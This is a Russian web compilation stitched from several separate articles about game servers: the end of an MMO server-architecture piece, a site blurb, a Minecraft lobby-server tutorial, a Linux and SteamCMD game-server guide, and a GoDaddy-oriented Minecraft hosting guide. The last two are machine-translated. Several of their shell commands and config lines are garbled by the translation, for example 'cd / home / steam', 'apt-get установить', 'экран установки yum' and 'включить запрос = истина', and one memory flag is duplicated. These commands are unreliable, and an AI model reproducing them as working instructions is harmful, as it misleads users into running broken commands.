  • Клиент подключается к той механике, где для него была создана карта. Пока он подключается, для него загружается его аватар.
  • Сервер начинает реплицировать все объекты вокруг аватара на клиент. Клиент рисует шикарную картинку и посылает на сервер команды, которые посылает игрок.
  • Игрок начинает бегать по карте, а сервер перемещает его по миру и реплицирует изменения окружающей действительности. Игрок находит какого-либо моба и нажимает кнопку «ударить».
  • Команда «удар» прилетает на сервер, на сервере выполняется проверка, что удар возможен, и мобу отправляется сообщение о нанесении повреждений.
  • Команда «нанести повреждения» отрабатывается на мобе, просчитывает все резисты и другие подобные вещи, потом берет функциональность «здоровье» и списывает какое-то количество.
  • Клиенту посылается ответ с подтверждением нанесения урона, клиент рисует удар.
Масштабирование

Давайте зайдем с другой стороны и посмотрим, как сервер ведет себя под нагрузкой.
  • 0 клиентов. Если на сервере никого нет, его можно запускать одним приложением с минимальными настройками и без карт. На сервере нет никакой активности, и большую часть времени он простаивает.
  • 1 клиент. Для одного клиента приходится создавать карту, мобов, серверные объекты, которые начинают потреблять память и процессорное время для своей жизни.
  • 500 клиентов. 500 клиентов обычно уже достаточно много, чтобы процессорного времени одной персоналки не хватало для работы сервера. Приходится запускать realm на нескольких машинах или на более мощных серверах.
  • 10000 клиентов. 10000 клиентов требуют уже нескольких серверов. Так как большая часть нагрузки приходится на игровые механики, нужно запускать realm с дополнительными сервисами игровой механики.
  • 100000 клиентов. При 100000 одновременных игроков больше половины серверов заняты игровой механикой.
  • Клиентов больше, чем железа. Если вдруг игроков станет еще больше, а железо у нас вдруг кончится, то придется ограничивать вход людей в игру, пока подвозят новые серверы. Для этого существует очередь на вход, которая заставляет игроков ждать, когда сервер будет готов их принять. Эта очередь гарантирует, что одновременно один realm не может содержать игроков больше, чем мы готовы принять. В очередь игроков могут начать ставить и в том случае, если из-за бага или еще по каким-либо причинам сервер вдруг стал работать медленнее определенного порога. Лучше сделать приемлемый сервис для ограниченного числа клиентов, чем упасть для всех.
Заключение

Надеюсь, наш опыт поможет вам понять, как работают современные игровые серверы, и создать свой, если до этого дойдет дело.
Чтобы лучше понять другие аспекты разработки игр, я бы порекомендовал вам почитать статьи моих коллег.

Ну и конечно же запись на закрытый бета тест. sf.mail.ru

Занятная статистика

Статистика по строкам кода. В статистику включен только сервер.

Авторы, собранные из комментариев к коду.

P.S.: Как обычно, на все вопросы отвечаем в комментариях.

Создание игровых серверов Valve/Steam | Всё о создании игровых серверов

Создание серверовСоздание игровых серверов — это процесс подготовки общедоступной или пользовательской игровой площадки (сервера), который подразумевает в себе настройку, отладку и сам процесс установки компонентов игры для организации продукта.

В данном разделе любой начинающий и опытный игрок, а также администратор сможет найти полезные статьи про создание игровых серверов для себя и или опубликовать полезные статьи о создании серверов для других участников проекта.

Чем мне помогут посты о создании игровых серверов

Данные посты помогут Вам учесть опыт других опытных игроков и владельцев различных игровых серверов (онлайн), а также разобраться в возможных ошибках и найти на них соответствующие решения. Каждый, кто занимается созданием или сборкой игровых серверов часто сталкивается с определенными сложностями, нюансами сборок и прочих вещей, на решение которых уходит огромное количество времени. Действительно опытные игроки и администраторы всегда стараются сделать заметку для себя и окружающих в виде подробного описания (поста) о том, с чем ему пришлось столкнуться.

Нужно ли писать о своём личном опыте в области создания игровых серверов

Конечно же опыт в создании игровых серверов — это очень ценная информация, которая поможет не только сэкономить значительную часть времени себе, но и другим. Данные посты играют роль заметок для самих себя, чтобы не потерялись и решение каких-либо вопросов (встречающихся снова) будет происходить быстро. Также данные материалы помогут новичкам, а вы обязательно заработаете себе репутацию, которая Вам обязательно пригодится.

Заметка для создания постов о создании игровых серверов

Пожалуйста, используйте личный опыт, не нужно копировать его с чужих сайтов для завоевания репутации на сайте. В первую очередь всегда ценится уникальная информация, которую Вы пишете своими словами и на личном опыте. Обязательно указывайте возможные возникающие ошибки и описывайте все нюансы. Если чего-то не знаете — смело задавайте вопросы, участники проекта примут участие в его обсуждении.

Создание игровых серверов — важный момент, уделите ему внимание, опишите подробности личного опыта и Вас обязательно будет ждать успех!

Поднимаем свой полноценный игровой Minecraft сервер с мини-играми. Часть 2. Устанавливаем карту для лобби сервера

Часть 1. Выбираем и устанавливаем сервер

Часть 3. Устанавливаем мини-игры

Посмотреть, что в итоге получилось у меня: mc.piratebayserver.net
По любым вопросам пишите в Discord.

После публикации первой части статьи по установке своего Minecraft сервера, ко мне обратился один читатель Хабра. В письме он написал, что по неосторожности показал мою статью своим детям и ему пришлось пообещать сделать все, как написано. Теперь я, как отец двух детей, просто не имею морального права не закончить серию этих статей. Поэтому поехали.

В первой части мы создали виртуальный сервер, скачали и запустили наш первый Minecraft сервер на Paper. Кто проделал все шаги сразу после публикации статьи, прошу обратить внимание на некоторые исправления, которые последовали после. Так, по советам в комментариях, я создал отдельного пользователя на виртуальном сервере. Поэтому все дальнейшие действия после создания пользователя будут выполнятся из под него. Запуск приложений из под root пользователя является плохой практикой и это просто не безопасно, так как предоставляет запускаемым приложениям неограниченный доступ к серверу.

Теперь, когда у нас есть запущенный Minecraft сервер, не плохо было бы заменить сгенерированную карту мира на что-то более подходящее для лобби сервера. Лобби — это наш главный сервер, визитная карточка, он служит точкой входа для игроков. Именно отсюда игроки будут перенаправляться на другие наши сервера, такие, как сервера мини-игр или выживания.

Есть несколько способов импортирования карт на ваш сервер.

Самый простой — копирование папки с миром с вашего ПК в папку вашего сервера. Такой способ подходит, если вы создали карту самостоятельно в одиночной игре либо скачали из интернета в формате, готовом для использования. Как найти файлы карт, сохраненные игрой на вашем компьютере, можно посмотреть здесь.

Второй способ — импорт карт с расширением schematic. Это формат, разработаный сообществом для хранения частей карт и использования их в сторонних программах, таких как MCEdit, WorldEdit, FastAsyncWorldEdit и др.

Я буду использовать для импорта карт второй метод, так как он более трудоёмкий и знание этого процесса может пригодиться вам в будущем. Если вы планируете использовать готовые архивы миров, можете пропустить этот пункт и просто скопировать папку с миром в папку сервера ~/PirateBay/.

Так, например, все карты, которые я покупал для своего сервера, шли в формате shematic. Так же, этот метод позволяет редактировать импортированые карты, например вырезать или копировать отдельные части. Мне это понадобилось, когда в купленом файле шли 4 набора островов для BedWars и нужно было разбить их на части по одному набору на сервер.

При использовании файлов в формате schematic для создания карт сервера вам понадобится пустой мир, в который вы будете импортировать карту. Обычно я использую два вида пустых миров: первый — это мир с одним блоком, второй — это океан. Первая карта подходит для создания миров для игр с воздушными островами, такими как SkyBlock, BedWars, SkyWars и тд. Океан же подходит для создания карт с островами в воде.
В интернете вы можете найти туториалы, как создать пустой мир или океан. Я же, ради сокращения размера статьи, просто прикреплю созданные мной карты:


Сперва мы запустим сервер на пустой карте, потом при помощи плагина FastAsyncWorldEdit импортируем необходимую карту в пустом мире.

Для удобства дальнейшей установки и редактирования плагинов, а с моей строны для сокращения количества комманд в статье, устанавливаем FTP клиент для подключения к нашему серверу. Я установил FileZilla.

После установки FTP клиента, подключаемся к серверу и переходим в папку с плагинами. У меня это /home/dinikin/PirateBay/plugins. Для краткости и универсальности буду писать ~/PirateBay/plugins.

Скачиваем jar файл плагина FastAsyncWorldEdit и копируем в папку plugins на сервере. Так же скачиваем мой архив пустой карты Void.zip, распаковываем и подкладываем папку Void в папку Minecraft сервера ~/PirateBay.

Если вы запускали Minecraft сервер напрямую из терминала, то после закрытия сесии процесс автоматически завершится и сервер остановится. Что бы этого не происходило в дальнейшем, для запуска сервера мы будем использовать программу screen.

Заходим на сервер по ssh:

ssh -i ~/minecraft dinikin@ip_address

и проверяем, установлена ли программа:
screen --version

если возвращается версия программы, значит она установлена, иначе устанавливаем:
sudo apt-get install screen

и создаем файл start.sh для запуска Minecraft сервера:
cd ~/PirateBay/
nano start.sh

со следующим содержимым:
#!/bin/sh

screen -S PirateBay java -Xms1G -Xmx1G -XX:+UseConcMarkSweepGC -jar Paper-1.15.2.jar

Даем файлу права на выполнение:
chmod +x start.sh

Если сервер в вашей терминальной сессии на данном этапе был уже запущен, останавливаем его командой stop.

Перед повторным запуском нам нужно перенастроить наш сервер на новую карту. Открываем через FTP клиент файл ~/PirateBay/server.properties и устанавливаем следующие значения параметров:

level-name=Void
generate-structures=false

Если вы использовали карту из одиночной игры со своего ПК, либо скачали архив из интернета, тогда вместо Void укажите имя папки с файлами мира, предварительно скопировав их в папку ~/PirateBay/.

Дальше удаляем на сервере папки с ранее сгенерированными мирами:
world
world_nether
world_the_end

Их можно оставить, но я предпочитаю удалять, что бы они в будущем случайно не использовались сервером, если я не изменил в каком то плагине или файле конфигурации название мира по умолчанию.

И так, запускаем сервер через sh скрипт:

./start.sh

теперь, если ваша терминальная сессия оборвется, вы можете посмотреть список запущеных серверов командой:
screen -ls

а подключиться командой:
screen -r PirateBay

или
screen -r 1234

где 1234 — id процесса из результатов выполнения команды screen -ls.

На самом деле, вместо PirateBay вы можете указать такое название процесса, по которому вам будет однозначно понятно, какой сервер запущен.

И так, мы устаноновили плагин для редактирования карт и перезапустили сервер. Подключаемся к нему из лаунчера игры.

Пустой мир загрузился и мы готовы импортировать какую нибудь карту для лобби. Я выбрал вот такую:

Давайте скачаем ее здесь и скопируем файл WaithSpawn.schematic в папку ~/PirateBay/plugins/FastAsyncWorldEdit/schematics/.

Теперь в запущеном игровом клиенте нажимаем / для открытия командной строки и пишем команду schematic. Как видим по сообщению, у нас нет прав на выполнение этой команды.

По умолчанию, большинство устанавливаемых плагинов ограничивают доступ к своим командам, открывая его только для оператора, т.е. администратора сервера. Переключаеся на терминальную сессию нашего сервера и пишем комманду /op Dinikin (в вашем случае это будет ваш никнейм):

Мы предоставили права администратора нашему пользователю и тепрерь можем повторно выполнить команду /schematic в игре:

Как видите, права появились. Но нас больше интересует команда /schematic list

Теперь в списке появилась наша загруженная карта. Нажимаем на нее мышкой и выполняем предложенную команду:

Когда команда выполнилась, выполняем команду //paste. Как результат, карта импортировалась в наш мир:

Поздравляю, мы добавили нашу первую карту на сервер.

Что мы будем делать в следующей части:

  1. установим и настроим прокси сервер
  2. запустим еще 3 сервера, 1 для прокси и 2 для мини-игр
  3. установим мини-игры Murder Mystery и SkyBlock
  4. создадим первого игрового персонажа, который будет перенаправлять нас из лобби на сервер с мини-игрой
  5. настроим права к плагинам и командам сервера

Не переключайтесь!

Все, что вам нужно для создания игрового сервера на Linux

Играть всегда было веселее с несколькими игроками. Это началось еще с Atari 2600 и игровых автоматов. Когда наступила эпоха Интернета, игровые серверы сделали реальностью удаленную многопользовательскую игру.

В современном поколении компьютерных игр вы можете подключаться к серверам или запускать их самостоятельно. Minecraft, Counter-Strike и многие другие игры поддерживают многопользовательский режим на публичных и частных серверах.

Наилучшие результаты получены с серверами Linux. Независимо от того, идет ли игра на Windows, macOS или даже на Android, игровой сервер Linux идеально подходит.

Вот что вам нужно знать, чтобы создать игровой сервер на Linux.

Требования для создания игрового сервера

Существует заблуждение, что для создания игрового сервера требуется мощное оборудование.Напротив, вам не нужно высококлассное оборудование. Однако компьютеры с низкими характеристиками, скорее всего, не дадут оптимальной производительности.

Это действительно зависит от того, какие игры вы планируете разместить на своем игровом сервере Linux.Итак, с чего начать?

Ну, сначала вам нужно знать несколько вещей.Хотя создать игровой сервер на Linux не так уж сложно, он требует некоторого знакомства с сетью и компьютером. Что вы не знаете, поищите в Интернете.

Тогда есть оборудование. В основном у вас есть три варианта, все с ограничениями:

  • Компактный и доступный SBC (одноплатный компьютер), такой как Raspberry Pi
  • Ваш компьютер с некоторыми улучшенными характеристиками системы
  • Выделенный игровой сервер Linux, размещенный в другом месте

Давайте рассмотрим плюсы и минусы каждого из них.

Размещение игрового сервера Linux на Raspberry Pi

Размещение игрового сервера на Raspberry Pi несложно, но вы будете ограничены в основном более старыми играми. Однако компьютер недорогой, маломощный и имеет встроенную беспроводную сеть и Ethernet.

Это делает его идеальным для размещения многопользовательских игровых сред, таких как Minecraft, QuakeWorld, Terraria, Windward и даже OpenTTD и FreeCiv.

Заинтересованы в использовании игрового сервера Linux на базе Raspberry Pi? Для получения дополнительных сведений ознакомьтесь с нашим списком игровых серверов Raspberry Pi.Обратите внимание, что большинство игр в списке также могут быть размещены на стандартном ПК с Linux.

Используйте свой компьютер в качестве игрового сервера

Планируете использовать свой компьютер для размещения многопользовательских сетевых игр? Использование вашего ПК в качестве игрового сервера под управлением Linux — разумный вариант, если у вас есть мощная установка. Он сможет справиться с чем угодно, от Minecraft до Call of Duty: Black Ops.

Однако у него есть некоторые недостатки. Вам нужно будет оставить компьютер включенным и постоянно подключенным к сети.Также рекомендуется выделенный IP-адрес, что увеличивает потенциальные затраты.

Существует также проблема поддержания вашего сервера в актуальном состоянии, установки исправлений для ОС Linux, обеспечения безопасности и обновления оборудования при необходимости.

Аренда выделенного игрового сервера Linux

Вы также можете арендовать сервер, на который можно установить программное обеспечение игрового сервера.

Экономящее много времени, это решение для заядлых многопользовательских геймеров. Хотя выделенные игровые серверы Linux доступны по цене (примерно от 10 долларов в месяц за базовый сервер Minecraft), они представляют собой регулярный исходящий трафик, на который вы, возможно, не захотите брать обязательства.

С другой стороны, аренда сервера экономит время на обслуживание и позволяет избежать затрат на выделенный IP-адрес. Однако вы будете ограничены размещением игр, поддерживаемых выбранным вами программным обеспечением игрового сервера Linux.

Host your Linux games with a leased GameServers server

GameServers.com предлагает надежное решение с серверами хорошего качества для сетевой игры. У них также есть бесплатные серверы для популярных старых игр.

Создание игрового сервера с Linux

После того, как вы остановились на решении, которое соответствует вашим играм, группе игроков и бюджету, пришло время создать сервер.Для арендованного решения вы можете нажать несколько кнопок на веб-сайте; если вы используете свой компьютер, вам нужно проверить несколько вещей:

  • Доступен ли сервер?
  • Поддерживается ли сетевой многопользовательский режим?
  • Отвечает ли ваш компьютер требованиям к оборудованию?

Вам также следует подумать, требуется ли выделенный IP-адрес от вашего интернет-провайдера. Это позволит игрокам со всего мира получить доступ к вашему серверу. Однако выделенный IP-адрес стоит недешево. Игра по локальной сети окажется значительно более доступной.

Вам нужен менеджер игрового сервера?

Какой дистрибутив Linux лучше всего подходит для игрового сервера?

Каким бы ни был ваш игровой сервер Linux, вам необходимо выбрать лучший дистрибутив для игры.

Для всех, кто не знаком с этим, самая доступная версия Linux, Ubuntu, станет отличным игровым сервером. С таким большим количеством документации, советов и блогов по этой операционной системе, не говоря уже о широком выборе поддерживаемого оборудования, настроить ее для размещения игр должно быть просто.

Альтернативы, которые вы можете рассмотреть, включают:

Короче говоря, вы ищете дистрибутив, который прост в использовании, подходит для вашего оборудования и может поддерживать игру.

Какие игровые серверы можно построить с Linux?

Многие популярные игры поддерживают многопользовательскую онлайн-игру. Таким образом, при установке в системах в той же сети, что и ваш игровой сервер, игры обнаруживают любые многопользовательские сеансы.

Примеры игр:

  • Minecraft
  • Team Fortress 2 (см. Выше)
  • Counter-Strike

Однако варианты намного шире чем это трио.Вы можете относительно легко создать игровой сервер для любой из этих игр. Для других игр проверьте, поддерживают ли они сетевой многопользовательский режим.

В некоторых случаях вам даже не понадобится полноразмерный ПК. Например, Raspberry Pi — главный кандидат для Minecraft. Ознакомьтесь с нашим подробным руководством по настройке сервера Minecraft на Raspberry Pi. Для настольных ПК см. Наше руководство по настройке сервера Minecraft.

Создание игрового сервера Steam

Для Counter-Strike и других игр Steam вам понадобится игровой сервер Steam.Однако создание игрового сервера Steam немного отличается. Для максимально широкой поддержки как можно большего количества игр в Linux лучше всего использовать Ubuntu со Steam.

Обновленный список выделенных игровых серверов Steam для Linux поможет вам принять решение. Некоторые серверы требуют покупки оригинальной игры (например, Counter-Strike Global Offensive Dedicated Server). Другим (например, Terraria) оригинал не требуется.

Что это значит? Что ж, вы можете разместить игровой сервер для игры, которой у вас нет на Linux, но есть на Windows.

Игровой сервер Steam по умолчанию недоступен в Steam. После установки клиента игры вам понадобится SteamCMD для управления играми. Начните с создания пользователя Steam в вашем терминале Linux:

  useradd -m steam  

создайте и войдите в домашнюю папку пользователя:

  cd / home / steam  

Для установки в 64-битной системе добавьте репозиторий multiverse и обновление:

  sudo add-apt-repository multiverse
sudo dpkg --add-architecture i386
sudo apt update  

Наконец, установите steamcmd:

  sudo apt install lib32gcc1 steamcmd  

Если вы используете 32-битную систему, вам не нужен репозиторий multiverse.Вместо этого после создания домашней папки используйте

  sudo apt install steamcmd  

Инструкции для других дистрибутивов Linux см. На страницах поддержки Steam.

При установленном SteamCMD запустите его с:

  cd ~
steamcmd  

Как уже отмечалось, SteamCMD поддерживает анонимный вход на большинство игровых серверов. Используйте

  анонимный вход в систему  

Для выделенных серверов, которые вы планируете разместить за пределами своей домашней сети, целесообразно создать новую учетную запись Steam.У него должны быть разные учетные данные от вашего обычного игрового клиента Steam.

Настройка игрового сервера Steam

Чтобы установить игровой сервер в Steam, введите имя каталога установки:

  force_install_dir   

(где ведет к каталогу, названному в соответствии с игрой ).

Steam назначает AppID как клиентам, так и серверам. Например:

Counter-Strike Source

  • Client AppID: 240
  • Server AppID: 232330

Team Fortress 2

  • Client AppID: 440
  • Server AppID: 232250

Для установки (и обновления) игрового сервера Steam:

  app_update & lt; app_id>  

Для Counter-Strike Source используйте

  app_update 232330  

Чтобы подключиться к игровому серверу Steam, просто запустите игру на своем клиентском ПК.Если игровой сервер не определяется автоматически, выберите вариант многопользовательской или сетевой игры. Здесь должен быть указан игровой сервер, поэтому войдите и играйте.

Многопользовательская игра с менеджерами игровых серверов Linux

Наконец, Linux Game Server Managers предлагает отличное решение.Это фантастический инструмент, совместимый с большинством. LGSM может похвастаться более чем 50 серверами. Кроме того, он с открытым исходным кодом и интегрируется со SteamCMD. Инструмент командной строки позволяет быстро развернуть игровые серверы в Linux.

Узнайте больше, посетив linuxgsm.com.

Пора создавать игровой сервер Linux

Создать игровой сервер для Linux непросто, но есть достаточно хорошего программного обеспечения, чтобы он не усложнялся.

Независимо от того, настраиваете ли вы сервер Minecraft или готовитесь к какой-либо атаке на Counter-Strike Source, инструменты доступны. Если ваше оборудование подходит для этой задачи, ваш игровой сервер должен быть интересным и популярным местом для других игроков.

Поскольку вы, вероятно, захотите поболтать со своими противниками, вот как настроить собственный сервер Discord.

setup-discord-server fix-restart-error Исправьте ошибку «Ваш компьютер столкнулся с проблемой и необходимо перезагрузить».

Вы только что видели ошибку «Ваш компьютер столкнулся с проблемой, требуется перезагрузка»? Узнайте, что это за общая ошибка, и исправьте ее.

Об авторе

Заместитель редактора по безопасности, Linux, DIY, программированию и техническим вопросам. Он также выпускает The Really Useful Podcast и имеет большой опыт в поддержке настольных компьютеров и программного обеспечения.Автор статьи в журнале Linux Format, Кристиан — мастер Raspberry Pi, любитель Lego и фанат ретро-игр.

Подробнее о Кристиане Коули
Подпишитесь на нашу рассылку новостей

Подпишитесь на нашу рассылку, чтобы получать технические советы, обзоры, бесплатные электронные книги и эксклюзивные предложения!

Еще один шаг…!

Подтвердите свой адрес электронной почты в только что отправленном вам электронном письме.

.

Как сделать сервер Minecraft на Windows, Mac или Linux с хостингом

Эй, отсюда я вижу твой дом!

Эта статья «Как создать сервер Minecraft» была первоначально опубликована 30 декабря 2014 года Шоном Пфандером. Он был обновлен 22 ноября 2017 года Энди Макилвейном.

Minecraft — вторая по популярности видеоигра в мире, по состоянию на февраль 2017 года было продано более 121 миллиона копий.

Но Minecraft — это гораздо больше, чем просто игра.Это также инструмент для обучения детей программированию; открытая платформа для расширения разработчиками модов; и это сердце мирового сообщества авторов.

Если вы новичок в Minecraft, самый простой способ начать — это купить игру и приступить к ней. Вы даже можете использовать Minecraft Realms, чтобы создать свой собственный мир — это своего рода легкая альтернатива запуску собственного частного сервера Minecraft.

Но если вас интересуют все возможности Minecraft, вы можете сделать еще один шаг, запустив собственный частный сервер Minecraft.На частном сервере вы можете создать собственный мир Minecraft.

В этой статье мы покажем вам, как именно это сделать. Мы рассмотрим, как создать сервер Minecraft на ПК с Windows, на Mac и в плане хостинга Linux.

Готовы? Давайте займемся этим.

Как сделать сервер Minecraft на Windows, Mac или Linux

На очень высоком уровне создание сервера Minecraft состоит из нескольких основных шагов:

  1. Установите последнюю версию Java
  2. Установите последнюю версию программного обеспечения сервера Minecraft
  3. Настройте сервер и сеть
  4. Запустить сервер
  5. Убедитесь, что ваш сервер доступен

О чем нужно помнить перед началом.

Настройка сервера требует некоторых усилий. Вам нужно немного технических знаний, чтобы правильно настроить сервер Minecraft.

У вас должно быть базовое понимание компьютерных и сетевых концепций, которые имеют фундаментальное значение для управления любым сервером.

В частности, вы должны знать:

  • Использование командной строки
  • Сеть (IP, DHCP, порты)
  • Конфигурация вашей системы
  • Конфигурация вашей сети
  • Конфигурация вашего маршрутизатора (для домашних сетей)
Запускаете сервер Minecraft из дома?

Для запуска сервера Minecraft не нужна первоклассная система, но настольный компьютер — идеальный вариант.

В то время как может запускать сервер Minecraft и играть на одной машине, для этого вам понадобится более мощная система.

И, наконец, используйте для сервера проводное соединение Ethernet вместо беспроводного. Проводное соединение более надежное.

Что делать, если вы не хотите размещать сервер дома?

Размещение любого сервера из дома означает, что вы открываете доступ к своей домашней сети всему миру.

Если вы не хотите рисковать, вы можете воспользоваться услугами хостинг-провайдера.Вам нужно будет платить ежемесячную или годовую плату, но вам не придется иметь дело с хлопотами по управлению серверным оборудованием.

Виртуальный частный сервер GoDaddy хорошо подойдет, если вы только начинаете. Просто имейте в виду, что вы используете оборудование совместно с другими пользователями, поэтому следите за использованием ресурсов.

Если вам нужно немного больше мощи и вы хотите подключить много игроков, вы можете вместо этого попробовать выделенный сервер.

Сделайте сервер Minecraft на ПК с Windows

1.Получите последнюю версию Java.

Откройте панель управления Windows. В разделе «Программы» найдите Java и нажмите «Обновить сейчас».

Откройте командную строку и введите java -version . Вы должны увидеть номер версии.

Посетите веб-сайт Java, чтобы узнать, какая самая последняя версия.

Если ваша версия устарела или у вас не установлена ​​Java, загрузите ее с официального сайта.

2. Выберите место для файлов сервера Minecraft.

Перед тем, как загрузить программное обеспечение сервера Minecraft, выберите место на вашем ПК, из которого вы хотите запустить сервер.

Когда вы впервые запустите сервер, он создаст несколько файлов конфигурации. Лучше всего хранить все эти файлы в отдельной папке.

Вы можете разместить эту папку на рабочем столе, в папке «Документы», в папке «Программы» или в любом другом месте. Все зависит от вас.

3. Загрузите и запустите серверное программное обеспечение Minecraft.

Загрузите серверное программное обеспечение с сайта Minecraft. Он поставляется в виде файла Java .jar. Сохраните его в том месте, которое вы выбрали на предыдущем шаге.

Дважды щелкните файл .jar, чтобы запустить сервер. Это создаст файлы конфигурации сервера, которые необходимо изменить, прежде чем сервер будет готов к использованию.

Примите лицензионное соглашение : был создан текстовый файл с именем eula.txt . Откройте файл в текстовом редакторе и измените eula = false на eula = true .Если вы не примете лицензионное соглашение, вы не сможете запустить сервер Minecraft.

Что делать, если вы видите ошибку «Не удается сохранить свойства сервера»? Запустите сервер Minecraft от имени администратора, щелкнув правой кнопкой мыши файл .jar и выбрав «Запуск от имени администратора».

4. Включите переадресацию портов на маршрутизаторе.

Примечание. Перенаправление портов может представлять угрозу безопасности.

Если вы просто размещаете сервер для игроков в своей локальной сети, вам не нужно беспокоиться о перенаправлении портов.Если, однако, вы хотите сделать свой сервер доступным для всего мира, вам необходимо включить переадресацию портов на своем маршрутизаторе. (Чтобы узнать больше о переадресации портов, посетите PortForward.com для руководств.)

Обратитесь к документации вашего маршрутизатора, чтобы найти конкретные инструкции по настройке переадресации портов для вашего устройства. Для Minecraft необходимо перенаправить TCP-порт 25565 .

Вам также необходимо ввести локальный IP-адрес вашего сервера в качестве выходного IP-адреса или IP-адреса сервера для перенаправляемого порта.Это сообщает маршрутизатору, на какое устройство указать. Чтобы узнать локальный IP-адрес вашего сервера, откройте командную строку и введите ipconfig .

5. Запустите сервер Minecraft.

Чтобы запустить сервер Minecraft, откройте командную строку Windows.

Перейдите к пути к файлу, в который был установлен файл сервера Minecraft (с названием что-то вроде «minecraft_server.1.12.2.jar»).

Запустите сервер с помощью следующей команды:

java -Xmx1024M -Xms1024M -jar {имя файла сервера} nogui

(Замените {имя файла сервера} фактическим именем файла сервера.)

Если вы предпочитаете использовать пользовательский интерфейс сервера, исключите параметр nogui:

java -Xmx1024M -Xms1024M -jar {имя файла сервера}

Вы также можете создать файл .bat, чтобы объединять команды вместе.

После запуска сервера вы можете пригласить других подключиться к вашему серверу через ваш локальный IP-адрес, если они находятся в вашей домашней сети, или через ваш внешний / общедоступный IP-адрес, если они не находятся в вашей домашней сети.

Вы можете найти свой общедоступный IP-адрес, выполнив поиск по запросу «мой IP-адрес» в Google.

Чтобы проверить, доступен ли ваш сервер, введите свой общедоступный IP-адрес в средство проверки состояния сервера Minecraft.

Сделайте сервер Minecraft на своем Mac

1. Убедитесь, что у вас установлена ​​Java.

Новые версии MacOS по умолчанию включают Java. Если вы используете старую версию MacOS (OS X), вам может потребоваться загрузить устаревшую версию Java с веб-сайта Apple.

2. Выберите место для файлов сервера Minecraft.

Создайте папку для хранения файлов сервера Minecraft.Вы можете, например, создать папку на своем рабочем столе, но выбор полностью за вами.

3. Загрузите программное обеспечение сервера Minecraft.

Загрузите серверное программное обеспечение с сайта Minecraft. Он поставляется в виде файла Java .jar. Сохраните его в том месте, которое вы выбрали на предыдущем шаге.

Откройте TextEdit. Установите формат на обычный текст. Введите следующее:

 #! / Bin / bash
cd "$ (имя каталога" $ 0 ")"
exec java -Xms1G -Xmx1G -jar {имя файла сервера} nogui
 

(Замените {имя файла сервера} фактическим именем файла сервера.)

Сохраните файл под именем start.command в той же папке, где находится файл .jar сервера.

Откройте Терминал и предоставьте разрешения для нового файла start.command, чтобы его можно было запустить. Введите chmod a + x с пробелом после команды. Перетащите файл start.command в окно терминала. Нажмите Ввод.

4. Включите переадресацию портов на маршрутизаторе.

Примечание. Перенаправление портов может представлять угрозу безопасности.

Если вы просто размещаете сервер для игроков в своей локальной сети, вам не нужно беспокоиться о перенаправлении портов.Если, однако, вы хотите сделать свой сервер доступным для всего мира, вам необходимо включить переадресацию портов на своем маршрутизаторе. (Чтобы узнать больше о переадресации портов, посетите PortForward.com для руководств.)

Обратитесь к документации вашего маршрутизатора, чтобы найти конкретные инструкции по настройке переадресации портов для вашего устройства. Для Minecraft необходимо перенаправить TCP-порт 25565 .

Вам также необходимо ввести локальный IP-адрес вашего сервера в качестве выходного IP-адреса или IP-адреса сервера для перенаправляемого порта.Это сообщает маршрутизатору, на какое устройство указать. Чтобы узнать локальный IP-адрес вашего сервера, откройте Терминал и введите ifconfig .

5. Запустите сервер Minecraft.

Дважды щелкните файл «start.command», созданный на шаге 3. Откроется окно терминала. Вы, вероятно, увидите сообщения об ошибках при первом запуске сервера. Это нормально.

После запуска сервера вы можете пригласить других подключиться к вашему серверу через ваш локальный IP-адрес, если они находятся в вашей домашней сети, или через ваш внешний / общедоступный IP-адрес, если они не находятся в вашей домашней сети.

Вы можете найти свой общедоступный IP-адрес, выполнив поиск по запросу «мой IP-адрес» в Google.

Чтобы проверить, доступен ли ваш сервер, введите свой общедоступный IP-адрес в средство проверки состояния сервера Minecraft.

Сделайте сервер Minecraft на хосте Linux

Если вы не склонны размещать сервер Minecraft дома, вы можете вместо этого развернуть план хостинга Linux. Таким образом, вы не несете ответственности за управление каким-либо оборудованием, а также не открываете доступ к своей частной домашней сети.

Как упоминалось ранее, план хостинга Linux VPS от GoDaddy — это легкий вариант, если вы экспериментируете или не ожидаете, что к вашему серверу присоединится много игроков. Однако, если вы ожидаете много игроков, вам следует подумать об использовании выделенного сервера Linux.

Чтобы выполнить эти шаги, вам необходимо подключиться к вашему хостингу через SSH. (Если вы не знакомы с процессом, эта справочная статья поможет вам.)

1. Установите Java

Войдите по SSH на ваш хост как пользователь root, введите команду:

 apt-cache поиск openjdk
 

Здесь перечислены доступные пакеты OpenJDK, которые могут устанавливать Java.В этом примере мы выберем openjdk-7-jdk , который является комплектом разработки OpenJDK 7.

Обновить список доступных пакетов из удаленных репозиториев:

 apt-get update
 

Затем установите выбранный программный пакет:

 apt-get установить openjdk-7-jdk
 

Нажмите «Y», когда будет предложено разрешить требуемый объем памяти для установки. После этого убедитесь, что Java успешно установлена:

 java -версия
 

Вы должны увидеть только что установленную версию Java.

2. Создайте место для файлов сервера Minecraft.

Создайте на своем хосте каталог, в котором будут сохранены файлы сервера Minecraft, затем перейдите в этот каталог.

 mkdir майнкрафт
    cd minecraft
 
3. Загрузите файлы сервера Minecraft.

В каталоге Minecraft выполните команду wget , чтобы загрузить файлы сервера Minecraft:

 wget -O minecraft_server.jar https://s3.amazonaws.com/Minecraft.Скачать / версии / 1.12.2 / minecraft_server.1.12.2.jar
 

(Совет: дважды проверьте страницу загрузки Minecraft, чтобы найти URL-адрес последней версии.)

Затем нам нужно будет установить и запустить «screen», чтобы ваш сервер продолжал работать, даже если вы не подключены:

 экран установки yum
    экран
 
4. Запустите сервер Minecraft.
 Java -Xmx512M -Xms512M -jar minecraft_server.jar nogui
 

(Совет: вы можете изменить параметры -Xmx и -Xms, чтобы настроить выделенную память для сервера Minecraft.Например, вы можете ввести -Xmx1G -Xmx1G, чтобы увеличить его до 1 ГБ ОЗУ. Доступная память будет зависеть от вашего тарифного плана.)

Чтобы убедиться, что все работает правильно, остановите сервер с помощью:

 стоп
 

Затем отредактируйте файл «server.properties» и установите:

 включить запрос = истина
 

Сохраните файл «server.properties» и перезапустите сервер. Оттуда введите IP-адрес своего сервера в средство проверки состояния сервера Minecraft, чтобы узнать, доступен ли он для всех.

5. Укажите домен на своем сервере Minecraft.

Предоставление игрокам легко запоминающегося доменного имени вместо сложного IP-адреса упрощает подключение людей к вашему серверу Minecraft.

Это очень просто: обновите записи DNS своего домена, добавив запись «A» для своего домена (используя @ в качестве имени хоста) или субдомена (используя что-то вроде «mc» в качестве имени хоста), которая указывает на IP-адрес вашего сервера Minecraft.

Обратите внимание, что изменения DNS вступят в силу в глобальном масштабе в течение ~ 24 часов.

